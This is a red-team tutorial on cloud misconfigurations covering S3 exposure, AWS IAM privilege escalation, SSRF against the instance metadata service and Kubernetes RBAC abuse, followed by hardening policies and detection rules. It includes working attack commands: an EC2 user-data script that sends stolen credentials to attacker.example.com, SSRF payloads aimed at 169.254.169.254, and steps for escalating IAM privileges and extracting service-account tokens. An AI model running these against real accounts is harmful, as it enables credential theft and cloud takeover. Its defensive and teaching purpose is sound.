Cloud Security Misconfigurations: The Pentester's Guide to AWS S3, IAM Privilege Escalation & Kubernetes RBAC (2026 Edition)

# Cloud Security Misconfigurations: The Pentester's Guide to AWS S3, IAM Privilege Escalation & Kubernetes RBAC

## Executive Summary & Threat Landscape

Cloud environments in 2026 are rarely compromised through zero-day software exploits in hypervisors or core cloud infrastructure. Instead, **82% of all enterprise cloud data breaches** stem directly from **security misconfigurations**, over-privileged identity boundaries, and unmonitored API surfaces. With the average public-cloud breach cost rising past **$5.17 million**, organizations continue to fall victim to the "first domino" effect: a minor configuration oversight that cascades into complete account or cluster takeover.

```
+-------------------+ +-------------------+ +-------------------+
| SSRF / Exposed | ----> | IMDSv1 / Local | ----> | Over-Privileged |
| Web Interface | | Credential Extraction| | IAM Role / Token |
+-------------------+ +-------------------+ +-------------------+
|
v
+-------------------+ +-------------------+ +-------------------+
| Full Account / | <---- | S3 Data Dump / | <---- | iam:PassRole / |
| Cluster Admin | | DB Exfiltration | | Privilege Escalation|
+-------------------+ +-------------------+ +-------------------+
```

This technical guide offers a practical, red-team perspective on finding, exploiting, and hardening cloud misconfigurations across Amazon Web Services (AWS) and Kubernetes (K8s). Written for senior security assessors, penetration testers, and detection engineers, this article covers complete execution mechanics, edge-case failure modes, raw JSON/YAML manifests, and production-grade detection logic.

---

## Table of Contents

- [The Anatomy of Cloud Misconfigurations](#the-anatomy-of-cloud-misconfigurations)
- [Phase 1: AWS S3 Storage Exposure & ACL Deep-Dive](#phase-1-aws-s3-storage-exposure--acl-deep-dive)
- [Unauthenticated Reconnaissance & Permutation Enumeration](#unauthenticated-reconnaissance--permutation-enumeration)
- [Evaluating Bucket Policies vs. Object-Level ACLs](#evaluating-bucket-policies-vs-object-level-acls)
- [Bypassing Incomplete Public Access Blocks](#bypassing-incomplete-public-access-blocks)
- [Phase 2: AWS IAM Privilege Escalation Vector Matrix](#phase-2-aws-iam-privilege-escalation-vector-matrix)
- [Vector 1: iam:CreateAccessKey Self-Provisioning](#vector-1-iamcreateaccesskey-self-provisioning)
- [Vector 2: iam:PassRole + ec2:RunInstances](#vector-2-iampassrole--ec2runinstances)
- [Vector 3: iam:PassRole + lambda:CreateFunction](#vector-3-iampassrole--lambdacreatefunction)
- [Vector 4: sts:AssumeRole Wildcard Trust Relationships](#vector-4-stsassumerole-wildcard-trust-relationships)
- [Vector 5: iam:AttachUserPolicy Direct Elevation](#vector-5-iamattachuserpolicy-direct-elevation)
- [Phase 3: The IMDSv1/v2 SSRF Exploitation Chain](#phase-3-the-imdsv1v2-ssrf-exploitation-chain)
- [Phase 4: Kubernetes RBAC Abuse & Cluster Takeover](#phase-4-kubernetes-rbac-abuse--cluster-takeover)
- [Field Experience: Edge-Case Failure Modes](#field-experience-edge-case-failure-modes)
- [Enterprise Defensive Engineering & Hardening](#enterprise-defensive-engineering--hardening)
- [Detection Engineering: KQL & Sigma Rules](#detection-engineering-kql--sigma-rules)
- [Conclusion & Key Takeaways](#conclusion--key-takeaways)

---

## The Anatomy of Cloud Misconfigurations

A cloud misconfiguration is not a software flaw in AWS, Azure, GCP, or Kubernetes. It is a state where administrative settings, access policies, or architectural designs violate the principle of least privilege, exposing data or operational control to unauthorized entities.

The top 10 most critical cloud misconfiguration archetypes encountered in 2026 assessments:

| Risk Classification | Impact Level | Primary Exploitation Vector | Root Cause |
|---|---|---|---|
| **Public S3 Storage** | High / Critical | Direct HTTP / S3 API GET | Over-permissive ACLs, disabled Block Public Access |
| **Over-Privileged IAM Roles** | Critical | AWS API / Credential Theft | Wildcard permissions (`*`), improper boundary definitions |
| **Exposed IMDSv1 Endpoint** | Critical | SSRF in Web Layer | Legacy metadata service enabled on EC2 / ECS |
| **Kubernetes `cluster-admin` Bindings** | Critical | K8s REST API / `kubectl` | Over-broad RoleBindings assigned to service accounts |
| **Exposed Management Consoles** | High | Unauthenticated HTTP | Grafana, K8s Dashboard, or Airflow on public IPv4 |
| **Disabled CloudTrail / Logging** | Medium / High | Audit Avoidance | Missing log integration, short retention periods |
| **Secrets Committed to CI/CD** | High | Git Scrape / Log Inspection | Hardcoded API keys in pipeline scripts or env vars |
| **Unrestricted Security Groups** | High | Direct TCP Connection | `0.0.0.0/0` ingress on management ports (22, 3389, 2379) |
| **Stale Access Keys** | Medium / High | Credential Reuse | Unrotated long-lived IAM credentials |
| **Over-Permissive Cross-Account Trusts** | Critical | `sts:AssumeRole` Abuse | Missing `ExternalId` or wildcard `Principal` in trust policy |

---

## Phase 1: AWS S3 Storage Exposure & ACL Deep-Dive

### Unauthenticated Reconnaissance & Permutation Enumeration

Finding target S3 buckets prior to authenticated access requires mapping naming conventions across an enterprise's digital footprint. Because Amazon S3 global namespace mandates unique bucket names, organizations predictably append operational environment labels.

Using custom Python enumeration scripts, we query DNS for CNAME and A record resolution across bucket candidates:

```python
import concurrent.futures
import requests

TARGET_ORG = "acmecorp"
ENVIRONMENT_SUFFIXES = [
"prod", "production", "dev", "staging", "backup", "data",
"logs", "assets", "customer-export", "db-dumps", "internal", "temp"
]

def check_bucket(suffix):
bucket_name = f"{TARGET_ORG}-{suffix}"
url = f"https://{bucket_name}.s3.amazonaws.com"
try:
response = requests.get(url, timeout=3)
if response.status_code == 200:
print(f"[+] CRITICAL: Publicly Listable Bucket Discovered: {bucket_name}")
elif response.status_code == 403:
print(f"[*] Access Denied (Bucket Exists): {bucket_name}")
except requests.RequestException:
pass

with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
executor.map(check_bucket, ENVIRONMENT_SUFFIXES)
```

### Evaluating Bucket Policies vs. Object-Level ACLs

A common vulnerability arises when security teams implement a secure Bucket Policy but neglect individual **Object Access Control Lists (ACLs)**. Conversely, an object might inherit public read rights even if the parent bucket denies directory listing (`s3:ListBucket`).

#### Vulnerable Bucket Policy Manifest (JSON)

```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowPublicReadAccess",
"Effect": "Allow",
"Principal": "*",
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Resource": [
"arn:aws:s3:::acmecorp-customer-export",
"arn:aws:s3:::acmecorp-customer-export/*"
]
}
]
}
```

#### CLI Verification Commands

```bash
# 1. Attempt unauthenticated bucket listing
aws s3 ls s3://acmecorp-customer-export --no-sign-request

# 2. Inspect Bucket ACL settings
aws s3api get-bucket-acl --bucket acmecorp-customer-export --no-sign-request

# 3. Check individual object ACL when bucket listing returns 403
aws s3api get-object-acl \
--bucket acmecorp-customer-export \
--key Database_Secrets.json \
--no-sign-request
```

If the object ACL contains the `AllUsers` URI with `READ` permissions, unauthenticated download is possible regardless of bucket-level directory listing restrictions:

```json
{
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AllUsers"
},
"Permission": "READ"
}
]
}
```

---

## Phase 2: AWS IAM Privilege Escalation Vector Matrix

AWS Identity and Access Management (IAM) permissions dictate the boundary of cloud control. When an attacker acquires initial low-privileged credentials, specific IAM permissions permit immediate escalation to full `AdministratorAccess`.

### Vector 1: `iam:CreateAccessKey` Self-Provisioning

If an IAM user possesses `iam:CreateAccessKey` permissions on their own identity or another user identity, they can generate new API credentials, bypassing password requirements or expired session tokens.

```bash
aws iam create-access-key --user-name targeted-developer
```

### Vector 2: `iam:PassRole` + `ec2:RunInstances`

An attacker with `iam:PassRole` and `ec2:RunInstances` can launch a new EC2 instance, pass an existing high-privilege instance profile (`Admin-Instance-Profile`) to it, and extract temporary credentials from the instance metadata service.

```bash
aws ec2 run-instances \
--image-id ami-0c55b159cbfafe1f0 \
--instance-type t3.micro \
--key-name attacker-key \
--iam-instance-profile Name=Admin-Instance-Profile \
--user-data "#!/bin/bash
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/Admin-Instance-Profile > /tmp/creds.json
curl -X POST -d @/tmp/creds.json https://attacker.example.com/exfil"
```

### Vector 3: `iam:PassRole` + `lambda:CreateFunction`

Combining `iam:PassRole` with `lambda:CreateFunction` allows creating a serverless function assigned an administrative execution role to elevate privileges.

```bash
aws lambda create-function \
--function-name PrivEscLambda \
--runtime python3.11 \
--role arn:aws:iam::123456789012:role/AdministrativeLambdaRole \
--handler lambda_function.lambda_handler \
--zip-file fileb://payload.zip

aws lambda invoke --function-name PrivEscLambda output.json
```

### Vector 4: `sts:AssumeRole` Wildcard Trust Relationships

When an IAM Role's Trust Policy contains a wildcard `Principal` without restrictive `Condition` keys, any authenticated AWS principal across any AWS account can assume the role.

```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": { "AWS": "*" },
"Action": "sts:AssumeRole"
}
]
}
```

### Vector 5: `iam:AttachUserPolicy` Direct Elevation

An account with `iam:AttachUserPolicy` can attach `AdministratorAccess` directly to its own user identity:

```bash
aws iam attach-user-policy \
--user-name lowpriv-user \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
```

---

## Phase 3: The IMDSv1/v2 SSRF Exploitation Chain

The AWS Instance Metadata Service (IMDS) operates at `169.254.169.254`. Under IMDSv1, requests require no HTTP headers or authentication tokens. SSRF vulnerabilities in web applications allow extracting IAM credentials directly:

```bash
# 1. Identify attached IAM Role via SSRF
curl "https://vulnerable-app.com/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# 2. Extract Security Credentials
curl "https://vulnerable-app.com/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebApp-Role"
```

### IMDSv2 Token Acquisition

IMDSv2 requires an initial session token request via HTTP `PUT`:

```bash
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/RoleName
```

---

## Phase 4: Kubernetes RBAC Abuse & Cluster Takeover

Kubernetes RBAC regulates API permissions within a cluster. Insecure bindings allow service accounts or pods to claim cluster-admin rights.

```
+--------------------------+ +---------------------------+ +---------------------------+
| Compromised Container Pod| ----> | Mount ServiceAccount Token| ----> | Query K8s API Server |
| (nginx / custom app) | | /var/run/secrets/... | | https://kubernetes.default|
+--------------------------+ +---------------------------+ +---------------------------+
|
v
+--------------------------+ +---------------------------+ +---------------------------+
| Full Cluster-Admin | <---- | Bind ClusterRole/admin to | <---- | Evaluate RBAC Permissions |
| Control & Node Compromise| | Service Account Identity | | (pods/exec, secrets read) |
+--------------------------+ +---------------------------+ +---------------------------+
```

### Auditing Effective RBAC Permissions

```bash
kubectl auth can-i "*" "*" --all-namespaces
kubectl auth can-i --list
```

### Abusing `pods/exec` to Extract Tokens

```bash
kubectl exec -it privileged-pod -n kube-system -- /bin/sh
cat /var/run/secrets/kubernetes.io/serviceaccount/token
```

---

## Field Experience: Edge-Case Failure Modes

1. **Deny Policies Overriding Allow:** AWS IAM evaluates explicit `Deny` statements prior to any `Allow`. SCPs or Permission Boundaries with explicit Denies block escalation despite user-level permissions.
2. **Implicit IMDSv2 Enforcement:** Account-level IMDSv2 enforcement blocks single-request SSRF payloads. Pivot to header-injection or local container filesystem token harvesting (`/var/run/secrets/...`).
3. **Session Token Omission:** Temporary credentials from `sts:assume-role` or IMDS require `AWS_SESSION_TOKEN`. Omitting it triggers `InvalidClientTokenId`.

---

## Enterprise Defensive Engineering & Hardening

### AWS SCP: Enforce IMDSv2 Across All EC2 Instances

```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "RequireIMDSv2",
"Effect": "Deny",
"Action": "ec2:RunInstances",
"Resource": "arn:aws:ec2:*:*:instance/*",
"Condition": {
"StringNotEquals": {
"ec2:MetadataHttpTokens": "required"
}
}
}
]
}
```

### Kyverno Policy: Disallow Root Execution

```yaml
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: disallow-root-execution
spec:
validationFailureAction: Enforce
rules:
- name: check-runAsNonRoot
match:
resources:
kinds: [Pod]
validate:
message: "Containers must run as non-root users."
pattern:
spec:
securityContext:
runAsNonRoot: true
```

---

## Detection Engineering: KQL & Sigma Rules

### Azure Sentinel / Microsoft Defender KQL

```kql
AWSCloudTrail
| where EventName in ("AttachUserPolicy", "PutUserPolicy", "CreateAccessKey")
| where ErrorCode == "Success"
| extend TargetUser = parse_json(RequestParameters).userName
| extend PolicyArn = parse_json(RequestParameters).policyArn
| where PolicyArn contains "AdministratorAccess" or EventName == "CreateAccessKey"
| project TimeGenerated, SourceIPAddress, UserIdentityArn, TargetUser, EventName, PolicyArn
| order by TimeGenerated desc
```

### Sigma Rule: Detect IMDS SSRF Attempts

```yaml
title: Potential IMDS Endpoint Access via SSRF
id: e4b2a8d1-9f3c-4b5a-8e2d-1a2b3c4d5e6f
status: production
description: Detects unusual web application outbound HTTP requests attempting to reach IMDS address 169.254.169.254.
author: Syed Zada Abrar (Andrax Pentester)
logsource:
category: webserver
detection:
selection:
c-uri|contains:
- '169.254.169.254'
- '0xa9fea9fe'
- '2852039166'
condition: selection
falsepositives:
- Legitimate cloud monitoring agents running on web servers.
level: high
```

---

## Conclusion & Key Takeaways

1. **Configuration Over Software Vulnerabilities:** Policy layer failures (S3 bucket policies, IAM roles, K8s RBAC) cause the vast majority of cloud breaches.
2. **Identity is the Perimeter:** Enforce least privilege, automated IAM access reviews, short-lived tokens, and mandatory MFA.
3. **Defense-in-Depth Enforcement:** Universally mandate IMDSv2, enforce Service Control Policies (SCPs), and deploy Kubernetes admission controllers (Kyverno / OPA Gatekeeper).

---

> **Author:** Syed Zada Abrar — Lead Cybersecurity Researcher & Founder of Andrax Pentester.
> *All research and practical command sequences are presented exclusively for authorized penetration testing, red teaming, and educational defense validation.*